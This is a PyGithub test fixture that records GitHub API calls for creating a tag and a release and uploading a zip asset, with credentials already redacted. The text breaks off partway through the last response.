pygithub-2.6.1/tests/ReplayData/ReleaseModify.testUploadAsset.txt0000644000175100001660000007711414756101563024604 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4864'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5B4:5BE2:C08744:144C9C8:5F0D5436')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4863'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5BC:4A58:BA40AD:13D2D13:5F0D5437')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5C4:6252:636D11:E3945D:5F0D5437')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4861'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"0d73d0eaa03a5518c6b98e7ee79ff1a5"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/b7e9fdc7ff76f206d5cec203b70d0ec58fd0b154'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E5CC:35AF:B6B00F:136426F:5F0D5438')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OmI3ZTlmZGM3ZmY3NmYyMDZkNWNlYzIwM2I3MGQwZWM1OGZkMGIxNTQ=","sha":"b7e9fdc7ff76f206d5cec203b70d0ec58fd0b154","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/b7e9fdc7ff76f206d5cec203b70d0ec58fd0b154","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:44:08Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4860'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"2577f60ffd316434139d29e2cc14fd9e"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E5D8:7BE9:C28DC5:14D9C36:5F0D5438')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530298/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530298,"node_id":"MDc6UmVsZWFzZTI4NTMwMjk4","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:08Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530298 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4859'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2577f60ffd316434139d29e2cc14fd9e"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:08 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5E2:6253:B7986F:1371554:5F0D5439')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530298/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530298,"node_id":"MDc6UmVsZWFzZTI4NTMwMjk4","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:08Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28530298/assets?label=unit+test+artifact&name=archive.zip {'Content-Type': 'application/zip', 'Content-Length': '140', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} <_io.BufferedReader name='archive.zip'> 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"fe4f9b394399cc451190b0811597a03b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:10 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 06:44:10 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '923E:5510:147476:178CC2:5F0D5439')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855018","id":22855018,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDE4","name":"archive.zip","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T06:44:09Z","updated_at":"2020-07-14T06:44:10Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/archive.zip"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530298 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4856'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"43a869b3227b4ad770344a1663356dc4"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:08 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5F6:5795:317DDC:821D74:5F0D543A')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530298/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530298/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530298,"node_id":"MDc6UmVsZWFzZTI4NTMwMjk4","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:08Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855018","id":22855018,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDE4","name":"archive.zip","label":"unit test 